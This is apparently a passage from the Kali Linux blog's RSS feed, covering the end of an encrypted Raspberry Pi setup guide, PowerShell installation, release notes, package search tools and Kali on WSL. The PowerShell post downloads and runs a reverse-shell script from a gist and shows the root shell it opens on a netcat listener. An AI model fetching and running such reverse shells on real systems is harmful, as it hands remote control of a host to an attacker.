command=&amp;quot;export PATH='/sbin:/bin/:/usr/sbin:/usr/bin'; /scripts/local-top/cryptroot &amp;amp;&amp;amp; kill -9 `ps | grep -m 1 'cryptroot' | cut -d ' ' -f 3` &amp;amp;&amp;amp; exit&amp;quot; ssh-rsa AAAAB3NzaC... user@system
&lt;/code>&lt;/pre>
&lt;p>Next, we make a small change to &lt;strong>&lt;em>/usr/share/initramfs-tools/scripts/init-premount/dropbear&lt;/em>&lt;/strong>. This change is due to the fact that we need to slow down Dropbear to ensure that networking is set up before Dropbear kicks in. At the end of the file, where it reads:&lt;/p>
&lt;pre>&lt;code class="language-sh"># On NFS mounts, wait until the network is configured. On local mounts,
# configure the network in the background (in run_dropbear()) so someone
# with console access can enter the passphrase immediately. (With the
# default ip=dhcp, configure_networking hangs for 5mins or so when the
# network is unavailable, for instance.)
[ &amp;quot;$BOOT&amp;quot; != nfs ] || configure_networking
run_dropbear &amp;amp;
echo $! &amp;gt;/run/dropbear.pid
&lt;/code>&lt;/pre>
&lt;p>We want to add in a simple &lt;strong>sleep&lt;/strong> statement like so:&lt;/p>
&lt;pre>&lt;code class="language-sh">[ &amp;quot;$BOOT&amp;quot; != nfs ] || configure_networking
sleep 5
run_dropbear &amp;amp;
echo $! &amp;gt;/run/dropbear.pid
&lt;/code>&lt;/pre>
&lt;p>With that completed, we are finally ready to create our initramfs!&lt;/p>
&lt;pre>&lt;code class="language-sh">mkinitramfs -o /boot/initramfs.gz
&lt;/code>&lt;/pre>
&lt;p>Before proceeding, we ensure that our customized changes made it into the new initramfs:&lt;/p>
&lt;pre>&lt;code class="language-sh">lsinitramfs /boot/initramfs.gz | grep cryptsetup
lsinitramfs /boot/initramfs.gz | grep authorized
&lt;/code>&lt;/pre>
&lt;p>With that validated, we ensure all changes are written to disk and shut the RPi down:&lt;/p>
&lt;pre>&lt;code class="language-sh">sync &amp;amp;&amp;amp; sync
init 0
&lt;/code>&lt;/pre>
&lt;h2 id="backup-and-restore">Backup and Restore&lt;/h2>
&lt;p>Remove the SD card from your RPi and return to the system you initially used to write the SD card. Let&amp;rsquo;s prepare the environment:&lt;/p>
&lt;pre>&lt;code class="language-sh">ls -al /mnt/{chroot,backup,encrypted}
# Please make sure there is nothing here first before you move on, otherwise you will have a bad day.
rm -rf /mnt/{chroot,backup,encrypted}
mkdir -p /mnt/{chroot,backup,encrypted}
&lt;/code>&lt;/pre>
&lt;p>Now insert the SD card and validate the device ID. In our case, the device is &lt;strong>&lt;em>/dev/sdc2&lt;/em>&lt;/strong> but yours might be different so adjust as necessary on your system. We mount the device and make a backup of the filesystem:&lt;/p>
&lt;pre>&lt;code class="language-sh">mount /dev/sdc2 /mnt/chroot/
rsync -avh /mnt/chroot/* /mnt/backup/
umount /mnt/chroot
&lt;/code>&lt;/pre>
&lt;p>Once that is done, we delete the existing 2nd partition on the SD card and recreate an empty one, which we set up for LUKS encryption:&lt;/p>
&lt;pre>&lt;code class="language-sh">echo -e &amp;quot;d\n2\nw&amp;quot; | fdisk /dev/sdc
echo -e &amp;quot;n\np\n2\n\n\nw&amp;quot; | fdisk /dev/sdc
&lt;/code>&lt;/pre>
&lt;p>With the partitions updated, we reload them by running &lt;strong>partprobe&lt;/strong> and then configure LUKS on the new partition:&lt;/p>
&lt;pre>&lt;code class="language-sh">cryptsetup -v -y --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat /dev/sdc2
cryptsetup -v luksOpen /dev/sdc2 crypt
mkfs.ext4 /dev/mapper/crypt
&lt;/code>&lt;/pre>
&lt;p>With that out of the way, we restore the root filesystem backup to the now encrypted partition:&lt;/p>
&lt;pre>&lt;code class="language-sh">mount /dev/mapper/crypt /mnt/encrypted/
rsync -avh /mnt/backup/* /mnt/encrypted/
sync
umount /mnt/encrypted/
cryptsetup luksClose /dev/mapper/crypt
&lt;/code>&lt;/pre>
&lt;h2 id="testing-it-out">Testing it out&lt;/h2>
&lt;p>You can now put the SD card back into the RPi and let it start up. If you watch the boot, you should see Dropbear start up. At that point, you should be able to SSH into the system and unlock the drive:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# ssh -o &amp;quot;UserKnownHostsFile /dev/null&amp;quot; root@10.42.42.94
The authenticity of host '10.42.42.94 (10.42.42.94)' can't be established.
ECDSA key fingerprint is SHA256:L+QVP+OmncGDleuEoj77OlRGuCji2gp0c1gMYjUupU0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.42.42.94' (ECDSA) to the list of known hosts.
Please unlock disk /dev/mmcblk0p2 (crypt):
cryptsetup (crypt): set up successfully
Connection to 10.42.42.94 closed.
&lt;/code>&lt;/pre>
&lt;p>The versatility of these little devices combined with the power of Kali never ceases to amaze us. Now we are left with a nice headless system we can operate with relative confidence that, even if it&amp;rsquo;s discovered, it won&amp;rsquo;t be too simple to get into.&lt;/p>
&lt;p>But we aren&amp;rsquo;t done yet! Let&amp;rsquo;s add in some &lt;a href="https://www.kali.org/blog/nuke-kali-linux-luks/">LUKS NUKE&lt;/a> functionality:&lt;/p>
&lt;pre>&lt;code class="language-sh">cryptsetup luksDump /dev/mmcblk0p2
cryptsetup luksAddNuke /dev/mmcblk0p2
&lt;/code>&lt;/pre>
&lt;p>Now when we SSH in, we have one password we can enter to allow the SD card to unlock and continue the boot process, and another that destroys the LUKS header, making the data inaccessible. If you end up in a situation where you can&amp;rsquo;t retrieve the device, this option to burn the device could be very helpful. If you want to be really fancy, you could also combine this with &lt;a href="https://web.archive.org/web/20210914172345/https://kali.training/topic/exercise-chapter-5-mid-course-project/">making the RPi into a wireless access point&lt;/a>, allowing you to remote in and unlock/nuke the system all through a wireless connection. This is very useful if you won&amp;rsquo;t have ongoing direct access to the network the RPi will be attached to.&lt;/p></description></item><item><title>Installing PowerShell on Kali Linux</title><link>https://www.kali.org/blog/installing-powershell-on-kali-linux/</link><guid isPermaLink="true">https://www.kali.org/blog/installing-powershell-on-kali-linux/</guid><pubDate>Wed, 06 Jun 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/installing-powershell-on-kali-linux/images/powershell-on-kali-linux-v3.jpg" type="image/jpg"/><description>&lt;h2 id="update-nov-2019">&lt;strong>UPDATE NOV 2019&lt;/strong>&lt;/h2>
&lt;p>This post is out of date as of 2019 as powershell has been added to the primary repos. Just do a:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update &amp;amp;&amp;amp; apt -y install powershell
&lt;/code>&lt;/pre>
&lt;p>And you will have powershell on your system.&lt;/p>
&lt;h3 id="old-post">Old Post&lt;/h3>
&lt;p>You may already be aware that you can safely &lt;a href="https://www.kali.org/blog/advanced-package-management-in-kali-linux/">add external repositories to your Kali Linux installation&lt;/a> but you may not be aware that one of the many repositories available online includes one from Microsoft that includes &lt;a href="https://github.com/PowerShell/PowerShell">PowerShell&lt;/a>. The repository is for Debian but its packages install perfectly well on Kali, as we will show in this post.&lt;/p>
&lt;h3 id="powershell-package-installation-in-kali">PowerShell Package Installation in Kali&lt;/h3>
&lt;p>We begin by installing the necessary dependencies, most of which should already be installed in your Kali installation by default:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update &amp;amp;&amp;amp; apt -y install curl gnupg apt-transport-https
&lt;/code>&lt;/pre>
&lt;p>Next, we need to download and add the public repository GPG key so APT will trust the packages and alert you to any issues with package signatures:&lt;/p>
&lt;pre>&lt;code class="language-sh">curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
&lt;/code>&lt;/pre>
&lt;p>With the GPG key added, we proceed to add the Microsoft package repository to its own package list file under &lt;strong>/etc/apt/sources.list.d/&lt;/strong> and update the list of available packages:&lt;/p>
&lt;pre>&lt;code class="language-sh">echo &amp;quot;deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main&amp;quot; &amp;gt; /etc/apt/sources.list.d/powershell.list
apt update
&lt;/code>&lt;/pre>
&lt;p>Finally, we proceed to install the powershell package:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt -y install powershell
&lt;/code>&lt;/pre>
&lt;h3 id="running-powershell">Running PowerShell&lt;/h3>
&lt;p>When the package installation completes, running &lt;strong>pwsh&lt;/strong> will start up PowerShell, presenting us with the familiar &amp;ldquo;PS&amp;rdquo; prompt:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root&amp;gt;
&lt;/code>&lt;/pre>
&lt;p>If you&amp;rsquo;re new to PowerShell, one of the first things you will likely want to do is update the built-in help, which can be done by running the &lt;strong>Update-Help&lt;/strong> Cmdlet. This may take a little while to complete but only really needs to be run once in a rare while:&lt;/p>
&lt;pre>&lt;code class="language-console">PS /root&amp;gt; Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...
&lt;/code>&lt;/pre>
&lt;p>As you might expect, you won&amp;rsquo;t find all the commands you&amp;rsquo;re used to when using PowerShell on Windows but all of the core modules are present and the code is under constant development and improvement:&lt;/p>
&lt;pre>&lt;code class="language-console">PS /root&amp;gt; Get-Process -Name gnome*
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-
&lt;/code>&lt;/pre>
&lt;p>One of the surprising things you &lt;em>can&lt;/em> do however, is use PowerShell to send a reverse shell to a Netcat listener. We came across a &lt;a href="https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1">small PowerShell reverse shell&lt;/a> online and much to our surprise, it happily connected back to our listener:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root&amp;gt; wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root&amp;gt; ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
root@kali:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux
&lt;/code>&lt;/pre>
&lt;p>We think it&amp;rsquo;s remarkable that, not only did Microsoft Open-source PowerShell, they&amp;rsquo;ve also been constantly updating and improving it, and having a public package repository for it makes installation a breeze.&lt;/p></description></item><item><title>Kali Linux 2018.2 Release</title><link>https://www.kali.org/blog/kali-linux-2018-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2018-2-release/</guid><pubDate>Mon, 30 Apr 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2018-2-release/images/kali-release.jpg" type="image/jpg"/><description>&lt;p>This Kali release is the first to include the Linux 4.15 kernel, which includes the x86 and x64 fixes for the much-hyped &lt;a href="https://meltdownattack.com/">Spectre and Meltdown&lt;/a> vulnerabilities. It also includes much &lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f6705bf959efac87bca76d40050d342f1d212587">better support for AMD GPUs&lt;/a> and support for &lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=33e63acc119d15c2fac3e3775f32d1ce7a01021b">AMD Secure Encrypted Virtualization&lt;/a>, which allows for encrypting virtual machine memory such that even the hypervisor can&amp;rsquo;t access it.&lt;/p>
&lt;h3 id="easier-metasploit-script-access">Easier Metasploit Script Access&lt;/h3>
&lt;p>If you spend any significant amount of time writing exploits, you are undoubtedly familiar with the various Metasploit scripts that are available, such as &lt;strong>&lt;em>pattern_create&lt;/em>&lt;/strong>, &lt;strong>&lt;em>pattern_offset&lt;/em>&lt;/strong>, &lt;strong>&lt;em>nasm_shell&lt;/em>&lt;/strong>, etc. You are likely also aware that all of these helpful scripts are tucked away under &lt;em>/usr/share/metasploit-framework/tools/exploit/&lt;/em>, which makes them more than a little difficult to make use of. Fortunately, as of &lt;em>metasploit-framework_4.16.34-0kali2&lt;/em>, you can now make use of all these scripts directly as we have included links to all of them in the PATH, each of them prepended with &lt;strong>&lt;em>msf-&lt;/em>&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# msf-&amp;lt;tab&amp;gt;
msf-egghunter msf-java_deserializer msf-nasm_shell
msf-exe2vba msf-jsobfu msf-pattern_create
msf-exe2vbs msf-makeiplist msf-pattern_offset
msf-find_badchars msf-md5_lookup msf-pdf2xdp
msf-halflm_second msf-metasm_shell msf-virustotal
msf-hmac_sha1_crack msf-msf_irb_shell
root@kali:~#
root@kali:~# msf-pattern_create -l 50 -s ABC,123
A1A2A3B1B2B3C1C2C3A1A2A3B1B2B3C1C2C3A1A2A3B1B2B3C1
root@kali:~#
&lt;/code>&lt;/pre>
&lt;h3 id="package-updates">Package Updates&lt;/h3>
&lt;p>In addition to the above changes, there have been updates to a number of applications including &lt;a href="https://pkg.kali.org/pkg/bloodhound">Bloodhound&lt;/a>, &lt;a href="https://www.kali.org/tools/reaver/">Reaver&lt;/a>, &lt;a href="https://www.kali.org/tools/pixiewps/">PixieWPS&lt;/a>, &lt;a href="https://www.kali.org/tools/burpsuite/">Burp Suite&lt;/a>, &lt;a href="https://www.kali.org/tools/hashcat/">Hashcat&lt;/a>, and more. Since there are far too many packages to include in a default ISO, to see the full list of changes, we encourage you to review the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali Changelog&lt;/a>.&lt;/p>
&lt;h3 id="download-kali-linux-20182">Download Kali Linux 2018.2&lt;/h3>
&lt;p>If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the &lt;a href="https://www.kali.org/get-kali/">Kali Downloads&lt;/a> page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2018.2. If you already have a Kali installation you&amp;rsquo;re happy with, you can easily upgrade in place as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt full-upgrade
&lt;/code>&lt;/pre>
&lt;p>As always, if you encounter any bugs at all, we implore you to open a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. We can&amp;rsquo;t fix what we don&amp;rsquo;t know about.&lt;/p></description></item><item><title>Finding Packages for Kali Linux</title><link>https://www.kali.org/blog/finding-packages-for-kali-linux/</link><guid isPermaLink="true">https://www.kali.org/blog/finding-packages-for-kali-linux/</guid><pubDate>Tue, 17 Apr 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/finding-packages-for-kali-linux/images/kali-advanced-package-management-2.jpg" type="image/jpg"/><description>&lt;p>In an earlier post, we covered &lt;a href="https://www.kali.org/blog/advanced-package-management-in-kali-linux/">Package Management in Kali Linux&lt;/a>. With the ease of installation that APT provides, we have the choice amongst tens of thousands of packages but the downside is, we have tens of thousands of packages. Finding out what packages are available and finding the one(s) we want can be a daunting task, particularly for newcomers to Linux. In this post, we will cover three utilities that can be used to search through the haystack and help you take advantage of the vast Open-source ecosystem.&lt;/p>
&lt;h3 id="apt-cache">apt-cache&lt;/h3>
&lt;p>Of the various interfaces available to search for packages, apt-cache is the most basic and rudimentary of them all. However, it is also the interface we tend to use most often because it is fast, easy, and efficient. By default, apt-cache searches for a given term in package names as well as their descriptions. For example, knowing that all &lt;a href="https://www.kali.org/docs/general-use/metapackages/">Kali Linux metapackages&lt;/a> include &amp;lsquo;kali-linux&amp;rsquo; in their names, we can easily search for all of them:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-cache search kali-linux
kali-linux - Kali Linux base system
kali-linux-all - Kali Linux - all packages
kali-linux-forensic - Kali Linux forensic tools
kali-linux-full - Kali Linux complete system
kali-linux-gpu - Kali Linux GPU tools
kali-linux-nethunter - Kali NetHunter tools
kali-linux-pwtools - Kali Linux password cracking tools
kali-linux-rfid - Kali Linux RFID tools
kali-linux-sdr - Kali Linux SDR tools
kali-linux-top10 - Kali Linux Top 10 tools
kali-linux-voip - Kali Linux VoIP tools
kali-linux-web - Kali Linux webapp assessment tools
kali-linux-wireless - Kali Linux wireless tools
&lt;/code>&lt;/pre>
&lt;p>In many cases, apt-cache returns far too many results because it searches in package descriptions. The searches can be limited to the package names themselves by using the &lt;strong>&lt;em>--names-only&lt;/em>&lt;/strong> option:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-cache search nmap | wc -l
37
root@kali:~# apt-cache search nmap --names-only
dnmap - Distributed nmap framework
fruitywifi-module-nmap - nmap module for fruitywifi
nmap-dbgsym - debug symbols for nmap
python-libnmap - Python 2 NMAP library
python-libnmap-doc - Python NMAP Library (common documentation)
python3-libnmap - Python 3 NMAP library
libnmap-parser-perl - parse nmap scan results with perl
nmap - The Network Mapper
nmap-common - Architecture independent files for nmap
zenmap - The Network Mapper Front End
nmapsi4 - graphical interface to nmap, the network scanner
python-nmap - Python interface to the Nmap port scanner
python3-nmap - Python3 interface to the Nmap port scanner
&lt;/code>&lt;/pre>
&lt;p>Since apt-cache has such wonderfully greppable output, we can keep filtering results until they&amp;rsquo;re at a manageable number:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-cache search nmap --names-only | egrep -v '(python|perl)'
dnmap - Distributed nmap framework
fruitywifi-module-nmap - nmap module for fruitywifi
nmap - The Network Mapper
nmap-common - Architecture independent files for nmap
nmap-dbgsym - debug symbols for nmap
nmapsi4 - graphical interface to nmap, the network scanner
zenmap - The Network Mapper Front End
&lt;/code>&lt;/pre>
&lt;p>You can further filter down the search results but once you start chaining together a few commands, that&amp;rsquo;s generally a good indication that it&amp;rsquo;s time to reach for a different tool.&lt;/p>
&lt;h3 id="aptitude">aptitude&lt;/h3>
&lt;p>The &lt;strong>&lt;em>aptitude&lt;/em>&lt;/strong> application is a very close cousin of &lt;strong>&lt;em>apt&lt;/em>&lt;/strong> and &lt;strong>&lt;em>apt-get&lt;/em>&lt;/strong> except it also includes a very useful ncurses interface. It is not included in Kali by default but it can quickly be installed as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y install aptitude
&lt;/code>&lt;/pre>
&lt;p>After installation, running aptitude without any options will launch the ncurses interface. One of the first things you will notice is that you can quickly and easily browse through packages by category, which greatly helps with sorting through the thousands of available packages.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude0.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude0.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>To search for a package, either press the &lt;strong>/&lt;/strong> character or select &amp;lsquo;Find&amp;rsquo; under the &amp;lsquo;Search&amp;rsquo; menu. As you enter your query, the package results will be updated dynamically.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Once you&amp;rsquo;ve located a package of interest, you can mark it for installation with the &lt;strong>+&lt;/strong> character or to remove/deselect it, the &lt;strong>-&lt;/strong> character.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude2.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>At this point, you can keep searching for other packages to mark for installation or removal. When you&amp;rsquo;re ready to install, press the &lt;strong>g&lt;/strong> key to view the summary of the actions to be taken.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/finding-packages-for-kali-linux/images/aptitude3.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>If you&amp;rsquo;re satisfied with the proposed changes, press &lt;strong>g&lt;/strong> again and aptitude will complete the package installations as usual.&lt;/p>
&lt;h3 id="the-internet">The Internet&lt;/h3>
&lt;p>If you want to restrict your searches to tools that are packaged by the Kali team, the easiest way to do so is probably by using the Google &lt;em>site&lt;/em> search operator.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/finding-packages-for-kali-linux/images/google-package-search.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/finding-packages-for-kali-linux/images/google-package-search.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="learn-more">Learn More&lt;/h3>
&lt;p>Hopefully, this post will help you answer whether or not a certain tool is available in Kali (or Debian). For a much more detailed treatment of package management, we encourage you to check out the &lt;a href="https://web.archive.org/web/20210922173942/https://kali.training/lessons/8-debian-package-management/">Kali Training site&lt;/a>.&lt;/p></description></item><item><title>Kali Linux in the Windows App Store</title><link>https://www.kali.org/blog/kali-linux-in-the-windows-app-store/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-in-the-windows-app-store/</guid><pubDate>Mon, 05 Mar 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-in-the-windows-app-store/images/kali-windows-app-2018.jpg" type="image/jpg"/><description>&lt;p>No, really&amp;hellip;this isn&amp;rsquo;t clickbait. For the past few weeks, we&amp;rsquo;ve been working with the Microsoft WSL team to get Kali Linux introduced into the Microsoft App Store as an official WSL distribution and today we&amp;rsquo;re happy to &lt;a href="https://blogs.msdn.microsoft.com/commandline/2018/03/05/kali-linux-for-wsl/">announce&lt;/a> the availability of the &amp;ldquo;Kali Linux&amp;rdquo; Windows application. For Windows 10 users, this means you can simply enable WSL, &lt;a href="https://www.microsoft.com/en-us/p/kali-linux/9pkr34tncv07">search for Kali&lt;/a> in the Windows store, and install it with a single click. This is especially exciting news for penetration testers and security professionals who have limited toolsets due to enterprise compliance standards.&lt;/p>
&lt;p>While running Kali on Windows has a few drawbacks to running it natively (such as the lack of raw socket support), it does bring in some very interesting possibilities, such as extending your security toolkit to include a whole bunch of command line tools that are present in Kali. We will update our blog with more news and updates regarding the development of this app as it&amp;rsquo;s released.&lt;/p>
&lt;p>We&amp;rsquo;d like to take this opportunity to thank the WSL team at Microsoft, and specifically &lt;a href="https://twitter.com/tara_msft">@tara_msft&lt;/a> and &lt;a href="https://twitter.com/benhillis">@benhillis&lt;/a> for all the assistance and guidance with which this feat would not be possible. We hope you enjoy WSL&amp;rsquo;d Kali on Windows 10!&lt;/p>
&lt;p>And now, a quick guide on getting Kali installed from the Microsoft App Store:&lt;/p>
&lt;h2 id="getting-kali-linux-installed-on-wsl">Getting Kali Linux Installed on WSL&lt;/h2>
&lt;p>Here&amp;rsquo;s a quick description of the setup and installation process. For an easier copy / paste operation, these are the basic steps taken:&lt;/p>
&lt;p>1. Update your Windows 10 machine. Open an administrative PowerShell window and install the Windows Subsystem with this one-liner. A reboot will be required once finished:&lt;/p>
&lt;pre>&lt;code class="language-powershell">Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
&lt;/code>&lt;/pre>
&lt;p>2. Once rebooted, open the Windows App store and search for the &amp;ldquo;Kali Linux&amp;rdquo; application, or alternatively click &lt;a href="https://www.microsoft.com/en-us/p/kali-linux/9pkr34tncv07">here&lt;/a> to go there directly. Install the app and enjoy Kali!&lt;/p>
&lt;h2 id="updating-kali-linux-on-wsl">Updating Kali Linux on WSL&lt;/h2>
&lt;p>Updating Kali Linux on WSL is no different from any other instance of Kali:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get dist-upgrade
&lt;/code>&lt;/pre>
&lt;p>Here&amp;rsquo;s a quick video of the process:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-linux-in-the-windows-app-store/https://player.vimeo.com/video/258822932?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2 id="installing-penetration-testing-tools-on-kali">Installing Penetration Testing tools on Kali&lt;/h2>
&lt;p>Installing tools from the Kali Linux repository is usually done via &lt;em>&lt;strong>apt&lt;/strong>&lt;/em> commands. For example, to install the Metasploit Framework, you can simply:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get install metasploit-framework
&lt;/code>&lt;/pre>
&lt;p>&lt;strong>Note:&lt;/strong> Some Kali tools are identified by anti-virus software as malware. One way to deal with this situation is to allow anti-virus exceptions on the directory in which the Kali chroot resides in. The following video walks you through this process:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-linux-in-the-windows-app-store/https://player.vimeo.com/video/258892544?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2 id="recovering-from-a-failed-kali-wsl-instance">Recovering from a failed Kali WSL instance&lt;/h2>
&lt;p>Sometimes, you can inadvertently kill your Kali WSL instance, due to an overzealous command, an unintentional action, or even due to Kali or WSL bugs. If this happens, here is a quick recovery guide to get back on top of things. &lt;strong>Note&lt;/strong>: this process will wipe your Kali WSL chroot, and re-extract a new copy. Any changes made to the filesystem will be gone, and reset to default.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-linux-in-the-windows-app-store/https://player.vimeo.com/video/258835347?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2 id="food-for-thought">Food for thought&lt;/h2>
&lt;p>The availability of the Kali Linux platform and toolset on Windows 10 brings with it many exciting possibilities which we haven&amp;rsquo;t even begun to grasp - here&amp;rsquo;s one example that got us scratching our heads. While not officially supported by WSL yet, we&amp;rsquo;ve tested running a desktop manager such as XFCE on WSL&amp;rsquo;d Kali&amp;hellip;and it seems to work quite well:&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/docs/general-use/xfce-with-rdp/">Setting up RDP with Xfce&lt;/a>&lt;/p></description></item><item><title>Kali Linux 2018.1 Release</title><link>https://www.kali.org/blog/kali-linux-2018-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2018-1-release/</guid><pubDate>Tue, 06 Feb 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2018-1-release/images/kali-release.jpg" type="image/jpg"/><description>&lt;p>Welcome to our first release of 2018, Kali Linux 2018.1. This fine release contains all &lt;a href="https://bugs.kali.org/changelog_page.php">updated packages and bug fixes&lt;/a> since our &lt;a href="https://www.kali.org/blog/kali-linux-2017-3-release/">2017.3 release&lt;/a> last November. This release wasn&amp;rsquo;t without its challenges&amp;ndash;from the &lt;a href="https://meltdownattack.com/">Meltdown and Spectre&lt;/a> excitement (patches will be in the 4.15 kernel) to a couple of other &lt;a href="https://bugs.kali.org/view.php?id=4483">nasty&lt;/a> &lt;a href="https://bugs.kali.org/view.php?id=4488">bugs&lt;/a>, we had our work cut out for us but we prevailed in time to deliver this latest and greatest version for your installation pleasure.&lt;/p>
&lt;h4 id="kernel-updated-to-414">Kernel Updated to 4.14&lt;/h4>
&lt;p>Kali Linux 2018.1 has a shiny new 4.14.12 kernel. New kernels always have a lot of new features and the 4.14 kernel is no exception, although two new features really stand out.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;em>AMD Secure Memory Encryption Support&lt;/em>&lt;/strong> - Secure Memory Encryption is a feature that will be in newer AMD processors that enables automatic encryption and decryption of DRAM. The addition of this features means that systems will no longer (in theory) be vulnerable to &lt;a href="https://en.wikipedia.org/wiki/Cold_boot_attack">cold-boot attacks&lt;/a> because, even with physical access, the memory will be not be readable.&lt;/li>
